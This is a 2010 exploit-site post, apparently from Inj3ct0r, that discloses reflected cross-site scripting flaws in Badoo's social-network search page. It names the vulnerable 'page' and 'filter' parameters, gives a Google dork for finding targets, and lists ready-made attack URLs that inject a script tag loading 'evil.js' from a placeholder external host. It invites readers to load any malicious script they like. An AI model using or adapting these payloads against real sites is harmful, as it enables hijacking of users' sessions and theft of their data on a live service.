Home / os / win7

Badoo Services Limited & XSS Vulnerabilities

Posted on 14 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Badoo Services Limited &amp; XSS Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================
Badoo Services Limited &amp; XSS Vulnerabilities
============================================

Product: Badoo Services online community

Web: http://eu1.badoo.com/   http://badoo.com/


Versions: All version    2006 2010 Badoo Services Limited

http://eu1.badoo.com/about/   

Badoo Services Limited operates an online community. 
It offers photo/video sharing and social networking features, as well as instant messaging services to its users. 
The company was founded in 2006 and is based in London, the United Kingdom.



GOOGLE DORKS:
------------

inurl:  2006 2010 Badoo Services Limited


Evil Function:  
--------------

http://eu1.badoo.com/search/?r=Wj9m&amp;page=1&amp;filter=online



Internal Variables:
-------------------

page= &quot;&gt;&lt;script src=http://site/scripts/evil.js&gt;&lt;/script&gt;


filter=&quot;&gt;&lt;script src=http://site/scripts/evil.js&gt;&lt;/script&gt;




Exploiting:
--------------

Insert and assign the evil code to these variables,then import the malicious java as you want!
I have replaced some URL's to avoid something ;-)



http://eu1.badoo.com/search/?r=Wj9m&amp;page=%22%3E%3Cscript%20src=http://nullcode/code/scripts/evil.js%3E%3C/script%3E&amp;filter=online

http://eu1.badoo.com/search/?r=Wj9m&amp;page=1&amp;filter=http://eu1.badoo.com/search/?r=Wj91&amp;page=%22%3E%3Cscript%20src=http://nullcode/code/scripts/evil.js%3E%3C/script%3E&amp;filter=online

http://eu1.badoo.com/search/?r=Kdhm&amp;page=%22%3E%3Cscript%20src=http://nullcode/code/scripts/evil.js%3E%3C/script%3E&amp;location_id=5_1839_5188&amp;location=Argentina#r



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-14]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :